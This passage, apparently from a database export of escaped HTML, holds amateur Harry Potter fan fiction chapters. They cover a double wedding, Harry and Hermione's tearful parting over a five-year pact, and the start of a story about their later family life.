publicized, but he also managed to knock Harry to the number two spot on Witch Weekly\'s Most Enchanting Young Wizard list. Not that he minded at all, Harry enjoyed spending time out of the spotlight, especially when Ron was in it. He was also grateful that he had made it to the game to see Ron break the record, even if he had missed Hermione, he at least got to celebrate a joyous occasion with one of the people he cared for the most.</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Harry also spent a lot of time watching Remus and Athena. He was so amazed by the two of them, that sometimes he couldn\'t help but stare. He had never seen so people so completely in love that it was impossible to believe they\'d endured a twenty-some year separation. He noticed the look in Remus\' eyes when he was gazing at Athena. There was a gleam there now, something more than when he looked at anyone else. It was one of the most incredible things Harry had ever seen, and he often wondered if that spark came alive in him when he was looking at Hermione. Only time would tell if their love was strong enough to withstand so many years apart. Part of him was certain, but another wasn\'t so confident.</p>\n\n<br>\n\n\n<p>&quot;Daydreaming again, Potter?&quot; Remus\' jovially voice called through the doorway of Harry\'s bedroom as the young wizard looked up from his pensieve and smiled.</p>\n\n<br>\n\n\n<p>&quot;Sometimes the dream is better than the reality.&quot; He replied as he stretched his arms and then put the pensieve away.</p>\n\n<br>\n\n\n<p>&quot;Just wait til you get the girl, you\'ll never want to close your eyes again.&quot; Remus said with a grin as he entered the room and shut the door behind him. &quot;Do you have a few minutes? I need to ask you something.&quot;</p>\n\n<br>\n\n\n<p>&quot;Sure.&quot; Harry nodded, &quot;Everything all right?&quot;</p>\n\n<br>\n\n\n<p>&quot;Everything is perfect.&quot; Remus assured him, &quot;I\' just discussed something with Sirius and he and I have a plan in the works, but in order for us to be successful, we\'re going to need two things from you.&quot;</p>\n\n<br>\n\n\n<p>&quot;Anything.&quot; Harry replied</p>\n\n<br>\n\n\n<p>&quot;One, you\'re going to have to break your pact with Hermione for one night. This will count as an insinuating circumstance, and we will need Ron here, too.&quot;</p>\n\n<br>\n\n\n<p>&quot;Okay..&quot; Harry answered, extremely clueless as to where Remus was heading, &quot;what\'s the second thing?&quot;</p>\n\n<br>\n\n\n<p>&quot;Will you be the best man for our double wedding?&quot; </p>\n\n<br>\n\n\n<p>&quot;Are you serious?&quot; Harry asked as a huge grin spread across his face. &quot;I would be honored! When is it? Why didn\'t you two tell me before? What do you need me to do?&quot;</p>\n\n<br>\n\n\n<p>&quot;It\'s on Valentine\'s Day, we didn\'t tell anyone and all you have to do is show up and look pretty. Think you can handle that, Potter?&quot;</p>\n\n<br>\n\n\n<p>&quot;It\'s what I do best,&quot; He said with a wink. &quot;I am so happy for you Remus. You and Athena deserve all the best, so do Sirius and Rosmerta, but you two have just- well, you know what I mean.&quot;</p>\n\n<br>\n\n\n<p>&quot;Believe me, Harry,&quot; Remus said as he placed a comforting hand on Harry\'s shoulder, &quot;if things are meant to be with you and Hermione, it will be *well* worth the wait.&quot;</p>\n\n<br>\n\n\n<br>\n\n\n<p>**********************************</p>\n\n<br>\n\n\n<p><i>Dear Harry,</i></p>\n\n<br>\n\n\n<p><i>It\'s great to hear the news about Remus and Athena and Sirius and Rosmerta. I\'ve already told the coach I\'ll be needing that day off, rest of the family should be coming, too It\'ll be great to see you again, and Hermione. Take care and write back soon. I want to hear more about Auror Training.</i></p>\n\n<br>\n\n\n<p><i>Ron</i></p>\n\n<br>\n\n\n<p><i>P.S. We beat the Haileyburg Hammers in Toronto last night, but I got a broken nose. You should see the teasing I got from Fred and George (who say Hi, as does the rest of my dysfunctional family). Hope you can make it to another game soon, let me know when you can come and I\'ll send you some tickets. (good ones at that)</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p>Harry laughed as he pictured Ron with a broken nose and Fred and George cracking jokes about it. He missed being able to spend weekends with the Weasley family, getting into all kinds of mischief and staying up late in fits of laughter. It would be good to see Ron and the gang again.</p>\n\n<p>Harry had sent off letters with Hedwig as soon as Remus had told him the good news. Ron and Hermione both responded right away and Harry was ecstatic to hear that both were coming, but especially happy that he&#8217;d heard from Hermione.</p>\n\n<br>\n\n\n<p><i>Dear Harry,</i></p>\n\n<br>\n\n\n<p><i>A double wedding! How incredibly romantic! I would not miss this for the world! It will be great to see Sirius, Rosmerta and Remus again, and I cannot wait to meet Athena! Both couples deserve so much happiness, and I am so excited to see you as best man. They couldn\'t have picked a better wizard for the job. It will be wonderful to have the trio together again.. Valentine\'s Day can\'t get here fast enough!</i></p>\n\n<br>\n\n\n<p><i>Send my love to everyone and let them know I will be attending! Please owl back soon, I miss hearing from you.</i></p>\n\n<br>\n\n\n<p><i>All my love,</i></p>\n\n<p><i>Hermione</i></p>\n\n<br>\n\n\n<p><i>P.S. I think Hedwig deserves a break, don\'t you? Perhaps you could send a letter with Appollo?</i></p>\n\n<br>\n\n\n<p>Harry grinned at her last line. It was nice to know that Hermione was missing him, too. As grim as their separation had been, things were starting to look up. The Double Wizard Wedding was without a doubt going to be the event of the year.&nbsp;</p>\n\n<br>\n\n\n<p>************************************</p>\n\n<br>\n\n\n<br>\n\n\n<p>&#8220;This wedding sounds great.&#8221; Ed said as he instructed his Knight to capture Harry&#8217;s Castle. &#8220;It&#8217;s also wonderful that you will see your friends.&#8221;</p>\n\n<br>\n\n\n<p>&#8220;Yep.&#8221; Harry said with a smile as he told his Queen to move diagonally. &#8220;I&#8217;m looking forward to it. You should come if you want, they&#8217;d all love to meet you. I&#8217;ve told them what a good friend you&#8217;ve been. I&#8217;ll even introduce you to Dumbledore.&#8221;</p>\n\n<br>\n\n\n<p>&#8220;Dumbledore, I don&#8217;t know if I could meet him,&#8221; Ed replied in a nervous tone as his Bishop took Harry&#8217;s pawn and moved just one square away from his King. &#8220;Check.&#8221;</p>\n\n<br>\n\n\n<p>&#8220;Why not? He&#8217;s the most fantastic wizard of the age. Voldemort himself fears him. I thought you would enjoy meeting him.&#8221;</p>\n\n<br>\n\n\n<p>&#8220;Just nervous I guess.&#8221; He answered with an awkward grin, as Harry had his King from harms way. &#8220;He&#8217;s such a strong and powerful presence in the wizarding world, I think I&#8217;d be a bit overwhelmed.&#8221;</p>\n\n<br>\n\n\n<p>&#8220;He&#8217;s just like you and me, a good guy out to get the bad guys.&#8221; Harry assured him as Ed moved his Bishop back to take one of Harry&#8217;s pawns.</p>\n\n<br>\n\n\n<p>&#8220;Perhaps he should come here and rid us of Zomba then. Albus Dumbledore should be able to sniff that rat out with no problem.&#8221; Ed sneered.</p>\n\n<br>\n\n\n<p>&#8220;You still don&#8217;t trust him, do you?&#8221; Harry asked, as he eyed Ed suspiciously.</p>\n\n<br>\n\n\n<p>&#8220;Nope, and I never will. Something&#8217;s going on in this Ministry, and I&#8217;m the only one who seems to care.&#8221;</p>\n\n<br>\n\n\n<p>&#8220;We all care, Ed. I had Moody check out Zomba months ago and he said he was okay. I think it&#8217;s just his attitude that you don&#8217;t like.&#8221; Harry answered as he took one of Ed&#8217;s pawns with his Knight.</p>\n\n<br>\n\n\n<p>&#8220;Well, I hope I am wrong.&#8221; Ed sighed, as his Queen took Harry&#8217;s castle. &#8220;I just have a feeling that things are going to go terribly wrong, and Zomba is involved somehow. I told you months ago, it&#8217;s all in the name.&#8221;</p>\n\n<br>\n\n\n<p>&#8220;Yes, I know, but Tom is a common name and a lot of people have the middle initial R. I think it&#8217;s just coincidence. You&#8217;ve got to relax. If Voldemort did have someone in here, I think we&#8217;d know by now. If and when he does strike again, we will be ready. You have to have faith in the Ministry.&#8221; Harry replied as he moved Bishop to Ed&#8217;s Knight</p>\n\n<br>\n\n\n<p>&#8220;I guess.&#8221; Ed nodded, as he searched the board for his next move. &#8220;I just think that things are going to get out of control very quickly.&#8221;</p>\n\n<br>\n\n\n<p>&#8220;What makes you say that?&#8221; Harry asked, looking up from the game and noticing the far off gaze in Ed&#8217;s eyes. His behavior was extremely odd.</p>\n\n<br>\n\n\n<p>&#8220;Just a feeling, I mean, it&#8217;s how it happened the last time. He came out of nowhere,&#8221; Ed replied softly as he moved his Queen to the left of Harry&#8217;s King. He had him right where you wanted him. </p>\n\n<br>\n\n\n<p>&#8220;When the Dark Lord comes back to power, it&#8217;s going to happen fast, so fast we won&#8217;t even see it coming. Faster than you can say &#8216;checkmate&#8217;.&#8221;</p>\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\n\n '),
	(273, 10, ' <p>Author&#8217;s note: I haven&#8217;t updated this story in over a year but I had a chance to reread it the other night and thought that it would be ashame not to finish it. I hope you all enjoy this new chapter and I will try to follow up with more soon. I do want to complete this story since I had outlined the entire thing over two years ago and thanks to all of you who have read it.&nbsp;</p>\n\n<br>\n\n\n<p>***New Note*** I updated this chapter to fix the inconsistency with Ron and the Canons. I guess I missed that detail when I went back to browse over previous chapters. Thanks to the readers who pointed that out!</p>\n\n<br>\n\n\n<p>Chapter 10- To Love Somebody...</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The weeks leading up to the double wedding flew by. On Valentine&#8217;s Day a soft blanket of snow draped the hilltop where the Remus and Athena and Sirius and Rosmerta would recite their vows. The gorgeous white landscape painted a perfect backdrop for the occasion.</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The ceremony had gone off without a hitch. Sirius had everyone in stitches with his hilarious yet sweet tribute to his bride, and there wasn&#8217;t a dry eye left in the house when Remus read the vows that he had prepared for Athena. Harry was so happy for both couples and only wished that his parents could have been there to see their best friends find such happiness.</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ron had owled earlier in the week to inform Harry that he would be unable to attend the ceremony because he had managed to get a big tournament against Puddlemere United in order to make the conference Championships. Harry had written back to wish his friend luck and let him know that Sirius and Remus also wished him the best and knew better than anyone that you had to follow your heart.</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Just about everyone else from their Hogwarts days had shown up for the event. Dumbledore had a fair share of Fire Whiskey and he and Hagrid spent much of the reception dancing quite badly to the sounds of the Weird Sisters. Dobby and his house elf crew insisted on catering and preparing the event and did a fine job with the arrangement and the foods. Professor McGonagle and even Snape arrived to wish the happy couples well. There was just one person missing, and that one person was enough to make Harry feel alone in a room full of people.</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Disappointed by Hermione&#8217;s abscence, Harry left the reception tent quietly, and took a stroll back to the hilltop where the ceremony had taken place.</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;Looking for someone?&#8221;</p>\n\n<br>\n\n\n<p>Harry smiled as the voice called out from behind him. He knew exactly who it was before he even turned around.</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;Hermione....&#8221; he exclaimed in awe as he caught his first glimpse of her.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;She was absolutely breathtaking. Her hair was straightened and fell a few inches below her shoulders. She wore a simple, yet stunning black fitted tube dress that ended just above her knee. She was wearing very little makeup, and yet she was the most gorgeous thing he had ever seen. It felt like his heart had stopped beating and then began pounding all in the same moment. There were no words to describe what he was feeling, but he knew he&#8217;d never need a pensieve to remember every aspect of it.</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;I am speechless...&#8221; He said as he swallowed a large lump that had developed in his throat.</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;Should I take that as a compliment?&#8221; She asked nervously as she ran her hands over the sides of her dress.</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;Absolutely.&#8221; He grinned devilishly. &#8220;I&#8217;ve never seen someone look so beautiful.&#8221;</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;Harry...&#8221; Hermione replied as her face became beet red.</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;I&#8217;d almost given up on you.&#8221;</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;Sorry I was hiding out in the back during the ceremony.....I was looking out for you and Ron and trying to make our meeting as easy as possible, but I didn&#8217;t see him...&#8221;</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;He couldn&#8217;t come, has a big match tonight that could put the Canons in the Championship. He stopped by earlier this morning and told me to send you his best.&#8221;</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;The Championship!&#8221; Hermione exclaimed joyously. &#8220;That&#8217;s so wonderful for him, I am sure he will do just great!&#8221;</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;Me too...&#8221; Harry smiled as he nervously searched for more words to continue the awkward conversation with,, &#8220;I can&#8217;t believe how fast this day came.&#8221;</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;I know, it seems like just yesterday you owled to tell me about the wedding and now the reception is winding down and I haven&#8217;t even danced yet.&#8221; Hermione winked.</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;Are you implying that you would like to dance with me, Miss Granger?&#8221;</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;It&#8217;s the least we could share, Harry.&#8221;</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;The *very* least,&#8221; he said with a grin. &#8220;May I have this dance?&#8221;</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Hermione smile as she wrapped one arm around Harry&#8217;s neck and took his hand with the other.</p>\n\n<br>\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;I&#8217;d be honored..&#8221; Hermione replied as the two slowly began to sway in rhythm to the echoes of a song playing in the distance at the reception.</p>\n\n<br>\n\n\n<p>&nbsp;</p>\n\n<p><i>There\'s a light<br>\n A certain kind of light<br>\n That never shone on me<br>\n I want my life to be<br>\n Lived with you, lived with you<br>\n There\'s a way<br>\n Everybody say<br>\n To do each and every little thing<br>\n But what does it bring?<br>\n If I ain\'t got you, ain\'t got...</i></p>\n\n<p>&nbsp;</p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</i>&#8220;It&#8217;s a little unsettling...&#8221; Harry whispered as he moved his hand to brush a loose tendril of hair from Hermione&#8217;s face.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;What is?&#8221; She asked curiously.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;How fitting this song is...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><i>You don\'t know what it\'s like<br>\n Baby, you don\'t know what it\'s like<br>\n To love somebody, to love somebody<br>\n The way I love you</i></p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;How did we get to this point, Harry? How did it get so complicated?&#8221; Hermione sighed as she rested her head on Harry&#8217;s shoulder.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;Puberty?&#8221; He quipped as he pulled away to look at her. &#8220;It isn&#8217;t *my* fault you had to develop into such a beautiful witch.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;I&#8217;m not joking...&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;Neither am I....&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;And with that reply, Harry softly caressed Hermione&#8217;s cheek as he leaned down and kissed her as tears slowly poured down her angst filled face.</p>\n\n<p><i>In my brain<br>\n I see your face again<br>\n I know my frame of mind<br>\n You ain\'t got to be so blind<br>\n And I\'m blind, so very blind</i></p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The kiss was tender at first, and then grew with desperation and longing. Hermione had wanted to pull away. She knew because of the pact what they were doing was wrong, but the moment just felt so right. After a few moments of an inner battle between mind and heart, Hermione finally broke away from Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Please don&#8217;t pull away, Hermione.&#8221; Harry pleaded as tears began to form in his own eyes, I need you.&#8221;</p>\n\n<p>&#8220;I can&#8217;t..&#8221; She wept as she shook her head and turned her back to him, &#8220;If we don&#8217;t stop now, we are going to regret this later..&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No!&#8221; Harry cried out as he grabbed her shoulder and turned her towards him, placing his hands on either side of her face. &#8220;I promise you that if you stay with me tonight, you will *not* regret what happens.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>And once again, he pulled her to his lips and kissed her with a passion she had never felt before.</p>\n\n<br>\n\n\n<p><i>I\'m a man<br>\n Can\'t you see what I am?<br>\n I live and breathe for you<br>\n But what good does it do<br>\n If I ain\'t got you, ain\'t got you</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Stop it, Harry, please....I am begging you. Don&#8217;t make this harder on me..&#8221; Hermione sobbed as she pulled away once more.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Dammit! Why does this have to be hard? Why do we need to wait five bloody years when I know you want this as much as I do. I love you, Hermione, and you love me, I know you do!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><i>You don\'t know what it\'s like<br>\n Baby, you don\'t know what it\'s like<br>\n To love somebody, to love somebody<br>\n The way I love you</i></p>\n\n<p>&#8220;I do love you!&#8221; She screamed as tears continued to pour down her anguished face, &#8220;I love you more than you could ever know, but if you love me as you say you do, you will give me this time.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why? Why are you torturing me, Hermione?&#8221; Harry screamed through his own tears, &#8220;Why are you torturing myself! I know you never loved him the way you love me, so why are you delaying the inevitable? What in bloody hell can he give you that I can&#8217;t?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione trembled as she turned to look him in the eye and give her response.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Stability.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p><i>Oh yeah<br>\n You don\'t know what it\'s like<br>\n Baby you don\'t know what it\'s like<br>\n To love somebody, to love somebody<br>\n To love somebody oh yeah</i></p>\n\n<p>&nbsp;</p>\n\n<p>Harry froze as the pain of her answer sunk in. He watched as she folded her arms across her chest, shivering and crying. She was frightened. Not because she didn&#8217;t want him, but because he couldn&#8217;t offer her any certainty. His life had been one unending ride of danger and it terrified the woman he loved more than life itself. He knew then that Hermione had not chosen to wait five years because she was torn between him and Ron, but because she was torn between love and security. Harry silently cursed himself for being born as the Boy Who Lived, a title and life that was a double edged sword. He had saved so many, but lost so much. Up until now he had been able to cope with it, but knowing that he could never give Hermione what she needed was almost too much to bear. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Go Hermione...&#8221; He sobbed as wrapped his arms around her waist and placed a tender kiss on her forehead. &#8220;I can&#8217;t give you what you need right now, but I can give you time.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry I&#8217;m sor-&#8220; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Shhh,&#8221; he interrupted her and shook his head, &#8220;It&#8217;s okay....just go.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione nodded and placed one last soft kiss upon his lips before turning away and disapparating into the night.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry stared at the spot where she had stood just a few moments earlier and continued to cry. She was able to give him everything, but the one thing he couldn&#8217;t offer was the one thing that she needed most. Hermione put on a brave front, but she was scared, and he couldn&#8217;t bear hurting her with the unpredictability that came with his existence. He was going to find a way to give her what she needed no matter what price he would have to pay. </p>\n\n<p><i>To love somebody<br>\n The way I love you<br>\n You don\'t know, you don\'t know<br>\n To love somebody, to love somebody<br>\n You don\'t know, ooh<br>\n To love somebody, to love somebody<br>\n The way I love you</i></p> '),
	(277, 1, '\n\n\n\n<p class="MsoNormal">A/n: Hey all I just got a spur of the\nmoment idea, the first part tells About how there lives lead to the &#8216;Later\nYears&#8217; Hens the title &#8216;Later Years&#8217; so please read it!!!! Oh yea and so you\ndon&#8217;t kill me the words of this song that&#8217;s in the story are not mine&#8230; I&#8217;m a\nstory writer not a song writer *<b>sigh</b>*&#8230; I used so far Good Charlotte so\nyou don&#8217;t go pressing a lawsuit there not my lyrics!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Later Years </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Chapter 1</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Summer\nbegins </p>\n\n<p class="MsoNormal" style="text-align:center" align="center">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry&#8217;s life turned out for the best when he was 16.&nbsp; He had defeated Lord\nVoldmorte for the last time and saved to Wizarding world from the dark\ntimes.&nbsp; The bad part was, was that it cost a life in the process.&nbsp;\nHarry&#8217;s Godfather Sirius was killed trying to save Harry&#8217;s life.&nbsp;\nVoldemorte shot the killing curse at Harry but when it his him it turned out\nthat it wasn&#8217;t Harry.&nbsp; It was a replica with a rebound curse on it. The\ncurse shot at Voldmorte and finally killing him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Harry went threw\na great loss but when one door closed a new one opened.&nbsp; Hermione.&nbsp;\nWhen Harry returned to Hogwarts Hermione was the first one there.&nbsp; The one\nperson Harry cared for in his life.&nbsp; When she saw Harry walk into the\nhospital wing with cuts and other wounds on his body, she stayed by his side\nuntil he was able to leave.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">That&#8217;s how it\nhappened, Harry was asleep&#8230; so she thought&#8230; and Hermione grabbed his hand and\nheld it in hers.&nbsp; She spoke to him so softly telling him that if she could\nchange anything it would be the suffering he went threw in his life, and that\nshe loved him so much it hurt.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Harry lay there\nin the bed listing to every word she said, he didn&#8217;t say anything he just\nsqueezed her hand.&nbsp; Hermione looked at him with tears in her eyes, Harry\nopened his and looked right at her and said simply, &#8216;I Love You&#8217;.&nbsp; That&#8217;s\nall it took for Hermione to lean in and kiss him so softly but with so much\npassion that Harry could stay in that position forever.&nbsp; Harry told\nHermione that he loved her from the first time they saw each other when they\nwere eleven and that he wanted to be with her for as long as he could.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nIt&#8217;s been that way for 10 years.&nbsp; He and Hermione married and made a\nbeautiful family.&nbsp; They had three children, Chris, Brandon, and\nJames.&nbsp; Harry and Hermione moved to the muggle world but still kept in the\nevents that went on in the wizarding world.&nbsp; Harry was a doctor and the\nlocal Hospital and he was a community Firefighter.&nbsp; Hermione never liked\nthe idea but Harry always told her that it was like he was giving back\nsomething to other people, something he couldn&#8217;t explain.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Chris was sixteen\nand was the Quidditch Captain for the Gryffindor house team, and seeker (Just\nlike dad), He had brown Hair like Hermione and Harry&#8217;s messy trait, he also had\nHarry&#8217;s green eyes, and Hermione&#8217;s learning ability.&nbsp; He had a part-time\njob at a local restaurant as a busboy; He played football (Soccer for us\nAmerican&#8217;s) and a little bit of Rugby.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Brandon was 13\nand in his third year at Hogwarts, he had black hair like his father but put\ndark read streaks in it, he had Hermione&#8217;s brown eyes.&nbsp; He had his own\nlittle band called &#8216;Counting the Days&#8217; and he was the drummer.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">James was the\nyoungest of the three; he was only 9 and didn&#8217;t really do much.&nbsp; Harry and\nHermione put him in the grade school in the muggle world because he showed a\ngreat interest in learning.&nbsp; He was the earliest talker out of the three\nand was able to read at the age of three.&nbsp; Brandon often teased James\nabout always reading and not having any fun.&nbsp; He had hazel eyes and\nstraight brown hair.&nbsp; Chris would often call him the odd ball of the\nfamily because he didn&#8217;t look at all like Harry or Hermione. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">James always\nlooked up to Chris because he was always there then James need him.&nbsp; He\nwould play small games of rugby with him and a little bit of football.&nbsp; He\ntaught him how to play the guitar and a little bit of the piano.&nbsp; When\never Chris had to go somewhere for his parents he would ask James to come\nalong.&nbsp; Hermione loved how Chris was always there to help out with James\nwhile she wasn&#8217;t home. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Hermione worked\nin the wizarding world; she was an assistant Charm&#8217;s teacher.&nbsp; She watched\nProfessor Flitwick teach his classes and once and a while she would teach the class\nif Professor Flitwick had something else he needed 